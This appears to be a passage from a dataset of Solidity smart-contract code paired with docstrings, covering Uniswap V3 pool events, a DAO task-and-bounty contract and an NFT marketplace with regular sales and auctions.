uint128 amount1Requested
) external returns (uint128 amount0, uint128 amount1);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Events emitted by a pool
/// @notice Contains all events emitted by the pool
interface IUniswapV3PoolEvents {
/// @notice Emitted exactly once by a pool when #initialize is first called on the pool
/// @dev Mint/Burn/Swap cannot be emitted by the pool before Initialize
/// @param sqrtPriceX96 The initial sqrt price of the pool, as a Q64.96
/// @param tick The initial tick of the pool, i.e. log base 1.0001 of the starting price of the pool
event Initialize(uint160 sqrtPriceX96, int24 tick);
/// @notice Emitted when liquidity is minted for a given position
/// @param sender The address that minted the liquidity
/// @param owner The owner of the position and recipient of any minted liquidity
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param amount The amount of liquidity minted to the position range
/// @param amount0 How much token0 was required for the minted liquidity
/// @param amount1 How much token1 was required for the minted liquidity
event Mint(
address sender,
address indexed owner,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount,
uint256 amount0,
uint256 amount1
);
/// @notice Emitted when fees are collected by the owner of a position
/// @dev Collect events may be emitted with zero amount0 and amount1 when the caller chooses not to collect fees
/// @param owner The owner of the position for which fees are collected
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param amount0 The amount of token0 fees collected
/// @param amount1 The amount of token1 fees collected
event Collect(
address indexed owner,
address recipient,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount0,
uint128 amount1
);
/// @notice Emitted when a position's liquidity is removed
/// @dev Does not withdraw any fees earned by the liquidity position, which must be withdrawn via #collect
/// @param owner The owner of the position for which liquidity is removed
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param amount The amount of liquidity to remove
/// @param amount0 The amount of token0 withdrawn
/// @param amount1 The amount of token1 withdrawn
event Burn(
address indexed owner,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount,
uint256 amount0,
uint256 amount1
);
/// @notice Emitted by the pool for any swaps between token0 and token1
/// @param sender The address that initiated the swap call, and that received the callback
/// @param recipient The address that received the output of the swap
/// @param amount0 The delta of the token0 balance of the pool
/// @param amount1 The delta of the token1 balance of the pool
/// @param sqrtPriceX96 The sqrt(price) of the pool after the swap, as a Q64.96
/// @param tick The log base 1.0001 of price of the pool after the swap
event Swap(
address indexed sender,
address indexed recipient,
int256 amount0,
int256 amount1,
uint160 sqrtPriceX96,
int24 tick
);
/// @notice Emitted by the pool for any flashes of token0/token1
/// @param sender The address that initiated the swap call, and that received the callback
/// @param recipient The address that received the tokens from flash
/// @param amount0 The amount of token0 that was flashed
/// @param amount1 The amount of token1 that was flashed
/// @param paid0 The amount of token0 paid for the flash, which can exceed the amount0 plus the fee
/// @param paid1 The amount of token1 paid for the flash, which can exceed the amount1 plus the fee
event Flash(
address indexed sender,
address indexed recipient,
uint256 amount0,
uint256 amount1,
uint256 paid0,
uint256 paid1
);
/// @notice Emitted by the pool for increases to the number of observations that can be stored
/// @dev observationCardinalityNext is not the observation cardinality until an observation is written at the index
/// just before a mint/swap/burn.
/// @param observationCardinalityNextOld The previous value of the next observation cardinality
/// @param observationCardinalityNextNew The updated value of the next observation cardinality
event IncreaseObservationCardinalityNext(
uint16 observationCardinalityNextOld,
uint16 observationCardinalityNextNew
);
/// @notice Emitted when the protocol fee is changed by the pool
/// @param feeProtocol0Old The previous value of the token0 protocol fee
/// @param feeProtocol1Old The previous value of the token1 protocol fee
/// @param feeProtocol0New The updated value of the token0 protocol fee
/// @param feeProtocol1New The updated value of the token1 protocol fee
event SetFeeProtocol(uint8 feeProtocol0Old, uint8 feeProtocol1Old, uint8 feeProtocol0New, uint8 feeProtocol1New);
/// @notice Emitted when the collected protocol fees are withdrawn by the factory owner
/// @param sender The address that collects the protocol fees
/// @param recipient The address that receives the collected protocol fees
/// @param amount0 The amount of token0 protocol fees that is withdrawn
/// @param amount0 The amount of token1 protocol fees that is withdrawn
event CollectProtocol(address indexed sender, address indexed recipient, uint128 amount0, uint128 amount1);
}
|
Get balance in xAssetCLR contract amount is represented in token 1 terms: token 0 amt token 0 price + token1 amt/
|
function getBufferBalance() public view returns (uint256) {
(uint256 balance0, uint256 balance1) = getBufferTokenBalance();
return getAmountInAsset1Terms(balance0).add(balance1);
}
| 1,686,580
|
./full_match/314/0x7b7f1f85F599b63432F5D782041c25Dad354f999/sources/node_modules/@openzeppelin/contracts/proxy/ERC1967/ERC1967Utils.sol
|
Stores a new address in the EIP1967 implementation slot./
|
function _setImplementation(address newImplementation) private {
if (newImplementation.code.length == 0) {
revert ERC1967InvalidImplementation(newImplementation);
}
StorageSlot.getAddressSlot(IMPLEMENTATION_SLOT).value = newImplementation;
}
| 8,082,525
|
pragma solidity ^0.4.22;
import "../IDaoBase.sol";
contract TaskTable {
uint public elementsCount = 0;
IDaoBase daoBase;
//bytes32 constant public START_TASK = keccak256("startTask");
bytes32 constant public START_TASK = 0x437e6b65d0608a0fe9c825ff4057ee9aef5baaa03f6eec7cf85e76e979099b12;
//bytes32 constant public START_BOUNTY = keccak256("startBounty");
bytes32 constant public START_BOUNTY = 0x79533ccfda313ec99b8522f2b18f04c46a6a6ac854db0c234fa8d207626d4fb9;
event TaskTableElementAdded(uint _eId, State _eType);
event TaskTableSetEmployee(address _employee);
event TaskTableSetOutput(address _output);
event TaskTableStateChanged(State _state);
event TaskTableProcessFunds(address _client, uint _value, uint _id);
enum State {
Init,
Cancelled,
// only for (isPostpaid==false) tasks
// anyone can use 'processFunds' to send money to this task
PrePaid,
PostPaid,
// These are set by Employee:
InProgress,
CompleteButNeedsEvaluation, // in case neededWei is 0 -> we should evaluate task first and set it
// please call 'evaluateAndSetNeededWei'
Complete,
// These are set by Creator or Client:
CanGetFunds, // call flush to get funds
Finished, // funds are transferred to the output and the task is finished
DeadlineMissed
}
struct Task {
string caption;
string desc;
bool isPostpaid;
bool isDonation;
uint neededWei;
uint64 deadlineTime;
uint64 timeToCancell;
State state;
address employee;
address output;
address moneySource;
uint startTime;
uint creationTime;
uint funds;
}
mapping (uint => Task) tasks;
modifier onlyWhenStarted(uint _id) {
require (tasks[_id].startTime >= block.timestamp);
_;
}
modifier onlyEmployeeOrMoneySource(uint _id) {
require(msg.sender== tasks[_id].employee || msg.sender == tasks[_id].moneySource);
_;
}
modifier isCanCancel(uint _id) {
require (block.timestamp - tasks[_id].creationTime <= tasks[_id].timeToCancell);
_;
}
modifier isDeadlineMissed(uint _id) {
require (block.timestamp - tasks[_id].startTime >= tasks[_id].deadlineTime);
_;
}
modifier onlyByMoneySource(uint _id) {
require (tasks[_id].moneySource == msg.sender);
_;
}
modifier isCanDo(bytes32 _what){
require(daoBase.isCanDoAction(msg.sender,_what));
_;
}
constructor(IDaoBase _daoBase) public {
daoBase = _daoBase;
}
/**
* @param _caption caption of the task
* @param _desc task description
* @param _isPostpaid true if task postpaid
* @param _isDonation true if task have donation
* @param _neededWei needed wei which should be payeed for employee
* @param _deadlineTime deadline time of the task
* @param _timeToCancell time to cancell task before starting
* @return task index
* @dev creates new task
*/
function addNewTask(
string _caption,
string _desc,
bool _isPostpaid,
bool _isDonation,
uint _neededWei,
uint64 _deadlineTime,
uint64 _timeToCancell) external returns(uint)
{
tasks[elementsCount] = Task(
_caption,
_desc,
_isPostpaid,
_isDonation,
_neededWei,
_deadlineTime * 1 hours,
_timeToCancell * 1 hours,
State.Init,
address(0),
address(0),
msg.sender,
0,
block.timestamp,
0
);
tasks[elementsCount].state = State.Init;
emit TaskTableElementAdded(elementsCount, tasks[elementsCount].state);
elementsCount += 1;
return (elementsCount - 1);
}
/**
* @param _caption caption of the bounty
* @param _desc bounty description
* @param _neededWei needed wei which should be payeed for employee
* @param _deadlineTime deadline time of the bounty
* @param _timeToCancell time to cancell bounty before starting
* @return bounty index
* @dev creates new bounty
*/
function addNewBounty (
string _caption,
string _desc,
uint _neededWei,
uint64 _deadlineTime,
uint64 _timeToCancell) external returns(uint)
{
tasks[elementsCount] = Task(
_caption,
_desc,
false,
false,
_neededWei,
_deadlineTime * 1 hours,
_timeToCancell * 1 hours,
State.Init, address(0),
address(0),
msg.sender,
0,
block.timestamp,
0
);
tasks[elementsCount].state = State.PrePaid;
emit TaskTableElementAdded(elementsCount, tasks[elementsCount].state);
elementsCount += 1;
return (elementsCount - 1);
}
/**
* @notice This function should be called only by account with START_TASK permissions
* @param _id id of the task
* @param _employee employee of this task
* @dev starts task
*/
function startTask(uint _id, address _employee) public isCanDo(START_TASK) {
require(getCurrentState(_id) == State.Init || getCurrentState(_id) == State.PrePaid);
if(getCurrentState(_id) == State.Init) {
// can start only if postpaid task
require(tasks[_id].isPostpaid);
}
tasks[_id].startTime = block.timestamp;
tasks[_id].employee = _employee;
tasks[_id].state = State.InProgress;
emit TaskTableStateChanged(tasks[_id].state);
}
// callable by anyone
/**
* @notice This function should be called only by account with START_BOUNTY permissions
* @param _id id of the bounty
* @dev starts bounty
*/
function startBounty(uint _id) public isCanDo(START_BOUNTY) {
require(getCurrentState(_id) == State.PrePaid);
tasks[_id].startTime = block.timestamp;
tasks[_id].employee = msg.sender;
tasks[_id].state = State.InProgress;
emit TaskTableStateChanged(tasks[_id].state);
}
// who will complete this task
/**
* @notice This function should be called only by money source
* @param _id id of the task
* @param _employee account who will complete this task
* @dev this function set employee account for this task
*/
function setEmployee(uint _id, address _employee) onlyByMoneySource(_id) public {
emit TaskTableSetEmployee(_employee);
tasks[_id].employee = _employee;
}
// where to send money
/**
* @notice This function should be called only by money source
* @param _id id of the task
* @param _output account who will get all funds of this task
* @dev this function set account which will get all funds after this task will be completed
*/
function setOutput(uint _id, address _output) onlyByMoneySource(_id) public {
emit TaskTableSetOutput(_output);
tasks[_id].output = _output;
}
/**
* @param _id id of the task
* @return balance of task with id _id
*/
function getBalance(uint _id) public view returns(uint) {
return tasks[_id].funds;
}
/**
* @param _id id of the task
* @return caption of task with id _id
*/
function getCaption(uint _id) public view returns(string) {
return tasks[_id].caption;
}
/**
* @param _id id of the task
* @return description of task with id _id
*/
function getDescription(uint _id) public view returns(string) {
return tasks[_id].desc;
}
/**
* @param _id id of the task
* @return state of task with id _id
*/
function getCurrentState(uint _id) public view returns(State) {
// for Prepaid task -> client should call processFunds method to put money into this task
// when state is Init
if(isTaskPrepaid(_id)) {
return State.PrePaid;
}
// for Postpaid task -> client should call processFunds method to put money into this task
// when state is Complete. He is confirming the task by doing that (no need to call confirmCompletion)
if(isTaskPostpaidAndCompleted(_id)) {
return State.CanGetFunds;
}
return tasks[_id].state;
}
/**
* @param _id id of the task
* @return true if state of the task is init, needed wei != 0, task not post paid
*/
function isTaskPrepaid(uint _id) internal view returns(bool) {
if((State.Init==tasks[_id].state) && (tasks[_id].neededWei!=0) && (!tasks[_id].isPostpaid)) {
if(tasks[_id].neededWei == tasks[_id].funds && tasks[_id].funds <= address(this).balance) {
return true;
}
}
return false;
}
/**
* @param _id id of the task
* @return true if state of the task is coplete, needed wei != 0, task post paid
*/
function isTaskPostpaidAndCompleted(uint _id) internal view returns(bool) {
if((State.Complete==tasks[_id].state) && (tasks[_id].neededWei!=0) && (tasks[_id].isPostpaid)) {
if(tasks[_id].neededWei <= tasks[_id].funds && tasks[_id].funds <= address(this).balance) {
return true;
}
}
return false;
}
/**
* @notice This function should be called only by money source
* @param _id id of the task
* @dev cancel task before start
*/
function cancel(uint _id) onlyByMoneySource(_id) isCanCancel(_id) public {
require(getCurrentState(_id) == State.Init || getCurrentState(_id) == State.PrePaid);
if(getCurrentState(_id) == State.PrePaid) {
// return money to 'moneySource'
tasks[_id].moneySource.transfer(tasks[_id].funds);
}
tasks[_id].state = State.Cancelled;
emit TaskTableStateChanged(tasks[_id].state);
}
/**
* @notice This function should be called only by money source
* @param _id id of the task
* @dev return money to payeer(oney source) if deadline for task already missed
*/
function returnMoney(uint _id) isDeadlineMissed(_id) onlyByMoneySource(_id) public {
require(getCurrentState(_id) == State.InProgress);
if(address(this).balance >= tasks[_id].funds) {
// return money to 'moneySource'
tasks[_id].moneySource.transfer(tasks[_id].funds);
}
tasks[_id].state = State.DeadlineMissed;
emit TaskTableStateChanged(tasks[_id].state);
}
/**
* @notice This function should be called only by money source
* @param _id id of the task
* @dev this function change state of the task to complete
*/
function notifyThatCompleted(uint _id) public onlyEmployeeOrMoneySource(_id) {
require(getCurrentState(_id) == State.InProgress);
if((0!=tasks[_id].neededWei) || (tasks[_id].isDonation)) { // if donation or prePaid - no need in ev-ion; if postpaid with unknown payment - neededWei=0 yet
tasks[_id].state = State.Complete;
emit TaskTableStateChanged(tasks[_id].state);
}else {
tasks[_id].state = State.CompleteButNeedsEvaluation;
emit TaskTableStateChanged(tasks[_id].state);
}
}
/**
* @notice This function should be called only by money source
* @param _id id of the task
* @dev this function change state of the task to complete and sets needed wei
*/
function evaluateAndSetNeededWei(uint _id, uint _neededWei) public onlyByMoneySource(_id) {
require(getCurrentState(_id) == State.CompleteButNeedsEvaluation);
require(0==tasks[_id].neededWei);
tasks[_id].neededWei = _neededWei;
tasks[_id].state = State.Complete;
emit TaskTableStateChanged(tasks[_id].state);
}
// for Prepaid tasks only!
// for Postpaid: call processFunds and transfer money instead!
/**
* @notice This function should be called only by money source (payeer)
* @param _id id of the task
* @dev this function confirm completion and changes state of the task to CanGetFunds
*/
function confirmCompletion(uint _id) public onlyByMoneySource(_id) {
require(getCurrentState(_id) == State.Complete);
require(!tasks[_id].isPostpaid);
require(0 != tasks[_id].neededWei);
tasks[_id].state = State.CanGetFunds;
emit TaskTableStateChanged(tasks[_id].state);
}
// IDestination overrides:
// pull model
/**
* @param _id id of the task
* @dev forward funds to the output account
*/
function flush(uint _id) public {
require(getCurrentState(_id) == State.CanGetFunds);
require(0x0!=tasks[_id].output);
tasks[_id].output.transfer(tasks[_id].funds);
tasks[_id].state = State.Finished;
emit TaskTableStateChanged(tasks[_id].state);
}
/**
* @param _id id of the task
* @dev should call this function when want to send funds to the task
*/
function processFunds(uint _id) public payable {
emit TaskTableProcessFunds(msg.sender, msg.value, _id);
if(isCanSetNeededWei(_id)) {
// this is a donation
// client can send any sum!
tasks[_id].neededWei = msg.value;
}
tasks[_id].funds += msg.value;
}
/**
* @param _id id of the task
* @return true if task is post paid, needed wei > 0 nad state in complete
*/
function isCanSetNeededWei(uint _id) internal view returns(bool) {
if(tasks[_id].isPostpaid && (0 == tasks[_id].neededWei) && (State.Complete==tasks[_id].state)) {
return true;
}
return false;
}
// non-payable
function()public {
}
}
|
_id id of the task return state of task with id _id/ for Prepaid task -> client should call processFunds method to put money into this task when state is Init for Postpaid task -> client should call processFunds method to put money into this task when state is Complete. He is confirming the task by doing that (no need to call confirmCompletion)
|
function getCurrentState(uint _id) public view returns(State) {
if(isTaskPrepaid(_id)) {
return State.PrePaid;
}
if(isTaskPostpaidAndCompleted(_id)) {
return State.CanGetFunds;
}
return tasks[_id].state;
}
| 5,477,176
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
/**
* Interface for royalties following EIP-2981 (https://eips.ethereum.org/EIPS/eip-2981).
*/
interface IERC2981 is IERC165 {
function royaltyInfo(
uint256 _tokenId,
uint256 _salePrice
) external view returns (
address receiver,
uint256 royaltyAmount
);
}
contract CoralMarketplace is Ownable, ReentrancyGuard {
// bytes4(keccak256("royaltyInfo(uint256,uint256)")) == 0x2a55205a
bytes4 private constant _INTERFACE_ID_ERC2981 = 0x2a55205a;
address loanAddress;
using Counters for Counters.Counter;
Counters.Counter private _itemIds;
Counters.Counter private _onRegularSale;
Counters.Counter private _onAuction;
Counters.Counter private _onRaffle;
uint256 private _marketFee;
enum TypeItem {
Regular,
Auction,
Raffle
}
struct MarketItem {
uint256 itemId; // Incremental ID in the market contract
address nftContract;
uint256 tokenId; // Incremental ID in the NFT contract
address payable seller;
address payable owner;
address creator;
uint256 price;
uint256 marketFee; // Market fee at the moment of creating the item
bool onSale;
TypeItem typeItem;
MarketItemSale[] sales;
}
struct MarketItemSale {
address seller;
address buyer;
uint256 price;
TypeItem typeItem;
}
struct AuctionData {
uint256 deadline;
uint256 minBid;
address highestBidder;
uint256 highestBid;
}
struct RaffleData {
uint256 deadline;
uint256 totalValue;
mapping(address => uint256) addressToAmount;
mapping(uint => address) indexToAddress;
uint256 totalAddresses;
}
mapping(uint256 => MarketItem) private idToMarketItem;
mapping(uint256 => AuctionData) private idToAuctionData;
mapping(uint256 => RaffleData) private idToRaffleData;
event MarketItemUpdate(uint256 indexed itemId, address indexed nftContract, uint256 indexed tokenId,
address seller, address creator, uint256 price, uint256 marketFee, TypeItem typeItem);
event MarketItemSold(uint256 indexed itemId, address indexed nftContract, uint256 indexed tokenId,
address seller, address buyer, uint256 price, TypeItem typeItem);
event MarketFeeChanged(uint256 prevValue, uint256 newValue);
event RoyaltiesPaid(uint256 indexed tokenId, uint value);
constructor(uint256 newMarketFee) {
_marketFee = newMarketFee;
}
/**
* Returns current market fee percentage with two decimal points.
* E.g. 250 --> 2.5%
*/
function getMarketFee() public view returns (uint256) {
return _marketFee;
}
/**
* Sets market fee percentage with two decimal points.
* E.g. 250 --> 2.5%
*/
function setMarketFee(uint256 newMarketFee) public virtual onlyOwner {
require(newMarketFee <= 5000, 'CoralMarketplace: Market fee value cannot be higher than 5000.');
uint256 prevMarketFee = _marketFee;
_marketFee = newMarketFee;
emit MarketFeeChanged(prevMarketFee, newMarketFee);
}
/**
* Sets loan contract address.
*/
function setLoanAddress(address _loanAddress) public virtual onlyOwner {
loanAddress = _loanAddress;
}
/**
* Creates new market item.
*/
function createMarketItem(address nftContract, uint256 tokenId) public returns (uint256) {
require (msg.sender == IERC721(nftContract).ownerOf(tokenId), "CoralMarketplace: Only owner of token can create market item.");
// Map new MarketItem
_itemIds.increment();
uint256 itemId = _itemIds.current();
idToMarketItem[itemId].itemId = itemId;
idToMarketItem[itemId].nftContract = nftContract;
idToMarketItem[itemId].tokenId = tokenId;
idToMarketItem[itemId].creator = msg.sender;
idToMarketItem[itemId].owner = payable(msg.sender);
emit MarketItemUpdate(itemId, nftContract, tokenId, msg.sender, msg.sender, 0, 0, TypeItem.Regular);
return itemId;
}
/**
* Updates a market item owner from CoralLoan contract.
*/
function updateMarketItemOwner(uint256 itemId, address newItemOwner) public virtual {
require (msg.sender == loanAddress, "CoralMarketplace: Only loan contract can change item owner.");
idToMarketItem[itemId].owner = payable(newItemOwner);
}
/**
* Returns detail of a market item.
*/
function fetchItem(uint256 itemId) public view returns (MarketItem memory) {
return idToMarketItem[itemId];
}
/**
* Returns items created by caller.
*/
function fetchMyItemsCreated() public view returns (MarketItem[] memory) {
return fetchAddressItemsCreated(msg.sender);
}
/**
* Returns items created by an address.
*/
function fetchAddressItemsCreated(address targetAddress) public view returns (MarketItem[] memory) {
// Get total number of items created by target address
uint totalItemCount = _itemIds.current();
uint itemCount = 0;
uint currentIndex = 0;
for (uint i = 0; i < totalItemCount; i++) {
if (idToMarketItem[i + 1].creator == targetAddress) {
itemCount += 1;
}
}
// Initialize array
MarketItem[] memory items = new MarketItem[](itemCount);
// Fill array
for (uint i = 0; i < totalItemCount; i++) {
if (idToMarketItem[i + 1].creator == targetAddress) {
uint currentId = idToMarketItem[i + 1].itemId;
MarketItem storage currentItem = idToMarketItem[currentId];
items[currentIndex] = currentItem;
currentIndex += 1;
}
}
return items;
}
/**
* Returns items currently on sale (regular, auction or raffle) by caller.
*/
function fetchMyItemsOnSale() public view returns (MarketItem[] memory) {
return fetchAddressItemsOnSale(msg.sender);
}
/**
* Returns items currently on sale (regular, auction or raffle) by an address.
*/
function fetchAddressItemsOnSale(address targetAddress) public view returns (MarketItem[] memory) {
// Get total number of items on sale by target address
uint totalItemCount = _itemIds.current();
uint itemCount = 0;
uint currentIndex = 0;
for (uint i = 0; i < totalItemCount; i++) {
if (idToMarketItem[i + 1].seller == targetAddress && idToMarketItem[i + 1].onSale
&& (idToMarketItem[i + 1].typeItem == TypeItem.Regular || idToMarketItem[i + 1].typeItem == TypeItem.Auction)) {
itemCount += 1;
}
}
// Initialize array
MarketItem[] memory items = new MarketItem[](itemCount);
// Fill array
for (uint i = 0; i < totalItemCount; i++) {
if (idToMarketItem[i + 1].seller == targetAddress && idToMarketItem[i + 1].onSale
&& (idToMarketItem[i + 1].typeItem == TypeItem.Regular || idToMarketItem[i + 1].typeItem == TypeItem.Auction)) {
uint currentId = idToMarketItem[i + 1].itemId;
MarketItem storage currentItem = idToMarketItem[currentId];
items[currentIndex] = currentItem;
currentIndex += 1;
}
}
return items;
}
/**
* Returns items owned by caller.
*/
function fetchMyItemsOwned() public view returns (MarketItem[] memory) {
return fetchAddressItemsOwned(msg.sender);
}
/**
* Returns items owned by an address.
*/
function fetchAddressItemsOwned(address targetAddress) public view returns (MarketItem[] memory) {
// Get total number of items owned by target address
uint totalItemCount = _itemIds.current();
uint itemCount = 0;
uint currentIndex = 0;
for (uint i = 0; i < totalItemCount; i++) {
if (idToMarketItem[i + 1].owner == targetAddress) {
itemCount += 1;
}
}
// Initialize array
MarketItem[] memory items = new MarketItem[](itemCount);
// Fill array
for (uint i = 0; i < totalItemCount; i++) {
if (idToMarketItem[i + 1].owner == targetAddress) {
uint currentId = idToMarketItem[i + 1].itemId;
MarketItem storage currentItem = idToMarketItem[currentId];
items[currentIndex] = currentItem;
currentIndex += 1;
}
}
return items;
}
/////////////////////////// REGULAR SALE ////////////////////////////////////
/**
* Puts on sale a new NFT.
*/
function putNewNftOnSale(address nftContract, uint256 tokenId, uint256 price) public {
require(price > 0, "CoralMarketplace: Price must be greater than 0.");
// Create market item
uint256 itemId = createMarketItem(nftContract, tokenId);
// Put on sale
putMarketItemOnSale(itemId, price);
}
/**
* Puts on sale existing market item.
*/
function putMarketItemOnSale(uint256 itemId, uint256 price) public {
require(idToMarketItem[itemId].itemId > 0, "CoralMarketplace: itemId does not exist.");
require(!idToMarketItem[itemId].onSale, "CoralMarketplace: This item is already on sale.");
require(price > 0, "CoralMarketplace: Price must be greater than 0.");
// Transfer ownership of the token to this contract
IERC721(idToMarketItem[itemId].nftContract).transferFrom(msg.sender, address(this), idToMarketItem[itemId].tokenId);
// Update MarketItem
idToMarketItem[itemId].seller = payable(msg.sender);
idToMarketItem[itemId].owner = payable(address(0));
idToMarketItem[itemId].price = price;
idToMarketItem[itemId].marketFee = _marketFee;
idToMarketItem[itemId].onSale = true;
idToMarketItem[itemId].typeItem = TypeItem.Regular;
_onRegularSale.increment();
emit MarketItemUpdate(itemId, idToMarketItem[itemId].nftContract, idToMarketItem[itemId].tokenId, msg.sender,
idToMarketItem[itemId].creator, price, _marketFee, TypeItem.Regular);
}
/**
* Creates a new sale for a existing market item.
*/
function createMarketSale(uint256 itemId) public payable nonReentrant {
require(idToMarketItem[itemId].onSale && idToMarketItem[itemId].typeItem == TypeItem.Regular,
"CoralMarketplace: This item is not currently on sale.");
uint256 price = idToMarketItem[itemId].price;
require(msg.value == price, "CoralMarketplace: Value of transaction must be equal to sale price.");
// Process transaction
_createItemTransaction(itemId, msg.sender, msg.value);
// Update item in the mapping
address payable seller = idToMarketItem[itemId].seller;
idToMarketItem[itemId].owner = payable(msg.sender);
idToMarketItem[itemId].onSale = false;
idToMarketItem[itemId].seller = payable(address(0));
idToMarketItem[itemId].price = 0;
idToMarketItem[itemId].sales.push(MarketItemSale(seller, msg.sender, price, TypeItem.Regular));
_onRegularSale.decrement();
emit MarketItemSold(itemId, idToMarketItem[itemId].nftContract, idToMarketItem[itemId].tokenId, seller,
msg.sender, price, TypeItem.Regular);
}
/**
* Unlist item from regular sale.
*/
function unlistMarketItem(uint256 itemId) public {
require(idToMarketItem[itemId].onSale && idToMarketItem[itemId].typeItem == TypeItem.Regular,
"CoralMarketplace: This item is not currently on sale.");
require(msg.sender == idToMarketItem[itemId].seller, "CoralMarketplace: Only seller can unlist item.");
// Transfer ownership back to seller
IERC721(idToMarketItem[itemId].nftContract).transferFrom(address(this), msg.sender, idToMarketItem[itemId].tokenId);
// Update MarketItem
idToMarketItem[itemId].owner = payable(msg.sender);
idToMarketItem[itemId].onSale = false;
idToMarketItem[itemId].seller = payable(address(0));
idToMarketItem[itemId].price = 0;
_onRegularSale.decrement();
}
/**
* Returns market items on regular sale.
*/
function fetchItemsOnSale() public view returns (MarketItem[] memory) {
uint currentIndex = 0;
// Initialize array
MarketItem[] memory items = new MarketItem[](_onRegularSale.current());
// Fill array
for (uint i = 0; i < _itemIds.current(); i++) {
if (idToMarketItem[i + 1].onSale && (idToMarketItem[i + 1].typeItem == TypeItem.Regular)) {
uint currentId = idToMarketItem[i + 1].itemId;
MarketItem storage currentItem = idToMarketItem[currentId];
items[currentIndex] = currentItem;
currentIndex += 1;
}
}
return items;
}
/////////////////////////// AUCTION ////////////////////////////////////
/**
* Creates an auction for a new item.
*/
function createNewNftAuction(address nftContract, uint256 tokenId, uint256 numMinutes, uint256 minBid) public {
require(numMinutes <= 44640, "CoralMarketplace: Number of minutes cannot be greater than 44,640."); // 44,640 min = 1 month
// Create market item
uint256 itemId = createMarketItem(nftContract, tokenId);
// Create auction
createMarketItemAuction(itemId, numMinutes, minBid);
}
/**
* Creates an auction from an existing market item.
*/
function createMarketItemAuction(uint256 itemId, uint256 numMinutes, uint256 minBid) public {
require(idToMarketItem[itemId].itemId > 0, "CoralMarketplace: itemId does not exist.");
require(!idToMarketItem[itemId].onSale, "CoralMarketplace: This item is already on sale.");
require(numMinutes <= 44640, "CoralMarketplace: Number of minutes cannot be greater than 44,640."); // 44,640 min = 1 month
// Transfer ownership of the token to this contract
IERC721(idToMarketItem[itemId].nftContract).transferFrom(msg.sender, address(this), idToMarketItem[itemId].tokenId);
// Update MarketItem
idToMarketItem[itemId].seller = payable(msg.sender);
idToMarketItem[itemId].owner = payable(address(0));
idToMarketItem[itemId].price = 0;
idToMarketItem[itemId].marketFee = _marketFee;
idToMarketItem[itemId].onSale = true;
idToMarketItem[itemId].typeItem = TypeItem.Auction;
// Create AuctionData
uint256 deadline = (block.timestamp + numMinutes * 1 minutes);
idToAuctionData[itemId].deadline = deadline;
idToAuctionData[itemId].minBid = minBid;
idToAuctionData[itemId].highestBidder = address(0);
idToAuctionData[itemId].highestBid = 0;
_onAuction.increment();
emit MarketItemUpdate(itemId, idToMarketItem[itemId].nftContract, idToMarketItem[itemId].tokenId, msg.sender,
msg.sender, 0, _marketFee, TypeItem.Auction);
}
/**
* Adds bid to an active auction.
*/
function createBid(uint256 itemId) public payable {
require(idToMarketItem[itemId].onSale && idToMarketItem[itemId].typeItem == TypeItem.Auction &&
idToAuctionData[itemId].deadline >= block.timestamp, "CoralMarketplace: There is no active auction for this item.");
require(msg.value >= idToAuctionData[itemId].minBid || msg.sender == idToAuctionData[itemId].highestBidder,
"CoralMarketplace: Bid value cannot be lower than minimum bid.");
require(msg.value > idToAuctionData[itemId].highestBid || msg.sender == idToAuctionData[itemId].highestBidder,
"CoralMarketplace: Bid value cannot be lower than highest bid.");
// Update AuctionData
if (msg.sender == idToAuctionData[itemId].highestBidder) {
// Highest bidder increases bid value
idToAuctionData[itemId].highestBid += msg.value;
} else {
if (idToAuctionData[itemId].highestBidder != address(0)) {
// Return bid amount to previous highest bidder, if exists
payable(idToAuctionData[itemId].highestBidder).transfer(idToAuctionData[itemId].highestBid);
}
idToAuctionData[itemId].highestBid = msg.value;
idToAuctionData[itemId].highestBidder = msg.sender;
}
// Extend deadline if we are on last 10 minutes
uint256 secsToDeadline = idToAuctionData[itemId].deadline - block.timestamp;
if (secsToDeadline < 600) {
idToAuctionData[itemId].deadline += (600 - secsToDeadline);
}
}
/**
* Distributes NFT and bidded amount after auction deadline is reached.
*/
function endAuction(uint256 itemId) public nonReentrant {
require(idToMarketItem[itemId].onSale && idToMarketItem[itemId].typeItem == TypeItem.Auction,
"CoralMarketplace: There is no auction for this item.");
require(idToAuctionData[itemId].deadline < block.timestamp,
"CoralMarketplace: Auction deadline has not been reached yet.");
// Update MarketItem
idToMarketItem[itemId].onSale = false;
_onAuction.decrement();
if (idToAuctionData[itemId].highestBid > 0) {
// Create transaction
_createItemTransaction(itemId, idToAuctionData[itemId].highestBidder, idToAuctionData[itemId].highestBid);
// Update item in the mapping
idToMarketItem[itemId].owner = payable(idToAuctionData[itemId].highestBidder);
idToMarketItem[itemId].sales.push(MarketItemSale(idToMarketItem[itemId].seller, idToAuctionData[itemId].highestBidder,
idToAuctionData[itemId].highestBid, TypeItem.Auction));
emit MarketItemSold(itemId, idToMarketItem[itemId].nftContract, idToMarketItem[itemId].tokenId,
idToMarketItem[itemId].seller, idToAuctionData[itemId].highestBidder, idToAuctionData[itemId].highestBid, TypeItem.Auction);
} else {
// Transfer ownership of the token back to seller
IERC721(idToMarketItem[itemId].nftContract).transferFrom(address(this), idToMarketItem[itemId].seller,
idToMarketItem[itemId].tokenId);
// Update item in the mapping
idToMarketItem[itemId].owner = payable(idToMarketItem[itemId].seller);
}
delete idToAuctionData[itemId];
}
/**
* Returns auction data.
*/
function fetchAuctionData(uint256 itemId) public view returns (AuctionData memory auctionData) {
require(idToMarketItem[itemId].onSale && idToMarketItem[itemId].typeItem == TypeItem.Auction,
"CoralMarketplace: There is no auction open for this item.");
return idToAuctionData[itemId];
}
/**
* Returns active auctions.
*/
function fetchAuctions() public view returns (MarketItem[] memory) {
uint currentIndex = 0;
// Initialize array
MarketItem[] memory items = new MarketItem[](_onAuction.current());
// Fill array
for (uint i = 0; i < _itemIds.current(); i++) {
